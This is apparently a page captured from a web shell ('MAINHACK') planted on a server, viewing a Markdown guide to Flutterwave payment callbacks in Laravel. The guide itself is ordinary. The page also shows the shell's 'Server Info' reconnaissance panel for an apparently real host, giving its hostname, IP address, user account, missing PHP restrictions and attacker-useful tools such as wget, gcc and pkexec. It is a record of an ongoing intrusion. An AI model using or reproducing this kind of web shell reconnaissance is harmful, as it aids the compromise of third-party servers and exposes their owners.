[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: callback.md
# Callbacks If the `redirect_url` is added to your payment data, Flutterwave redirects there after every payment request ## 1. Setup your callback route ```php // The callback url after a payment Route::get('/rave/callback', [FlutterwaveController::class, 'callback'])->name('callback'); ``` ## 2. Setup your Controller > Setup your controller to handle the routes. I created the `FlutterwaveController`. Use the `Flutterwave` > facade. ```php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use KingFlamez\Rave\Facades\Rave as Flutterwave; class FlutterwaveController extends Controller { /** * Obtain Flutterwave callback information * @return void */ public function callback() { $transactionID = Flutterwave::getTransactionIDFromCallback(); $data = Flutterwave::verifyTransaction($transactionID); dd($data); // Get the transaction from your DB using the transaction reference (txref) // Check if you have previously given value for the transaction. If you have, redirect to your successpage else, continue // Confirm that the $data['data']['status'] is 'successful' // Confirm that the currency on your db transaction is equal to the returned currency // Confirm that the db transaction amount is equal to the returned amount // Update the db transaction record (including parameters that didn't exist before the transaction is completed. for audit purpose) // Give value for the transaction // Update the transaction to note that you have given value for the transaction // You can also redirect to your success page from here } } ``` ## 3. Make sure to add `'redirect_url' => route('callback'),` to all your payment requests that will use the callback eg ```php <?php namespace App\Http\Controllers; use KingFlamez\Rave\Facades\Rave as Flutterwave; class FlutterwaveController extends Controller { /** * Initialize Rave payment process * @return void */ public function initialize() { //This generates a payment reference $reference = Flutterwave::generateReference(); // Enter the details of the payment $data = [ 'payment_options' => 'card,banktransfer', 'amount' => 500, 'email' => request()->email, 'tx_ref' => $reference, 'currency' => "NGN", 'redirect_url' => route('callback'), 'customer' => [ 'email' => request()->email, "phonenumber" => request()->phone, "name" => request()->name ], "customizations" => [ "title" => 'Movie Ticket', "description" => "20th October" ] ]; $payment = Flutterwave::initializePayment($data); if (!$payment) { // notify something went wrong return; } return redirect($payment['link']); } /** * Obtain Rave callback information * @return void */ public function callback() { $transactionID = Flutterwave::getTransactionIDFromCallback(); $data = Flutterwave::verifyTransaction($transactionID); dd($data); // Get the transaction from your DB using the transaction reference (txref) // Check if you have previously given value for the transaction. If you have, redirect to your successpage else, continue // Confirm that the $data['data']['status'] is 'successful' // Confirm that the currency on your db transaction is equal to the returned currency // Confirm that the db transaction amount is equal to the returned amount // Update the db transaction record (including parameters that didn't exist before the transaction is completed. for audit purpose) // Give value for the transaction // Update the transaction to note that you have given value for the transaction // You can also redirect to your success page from here } } ```
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002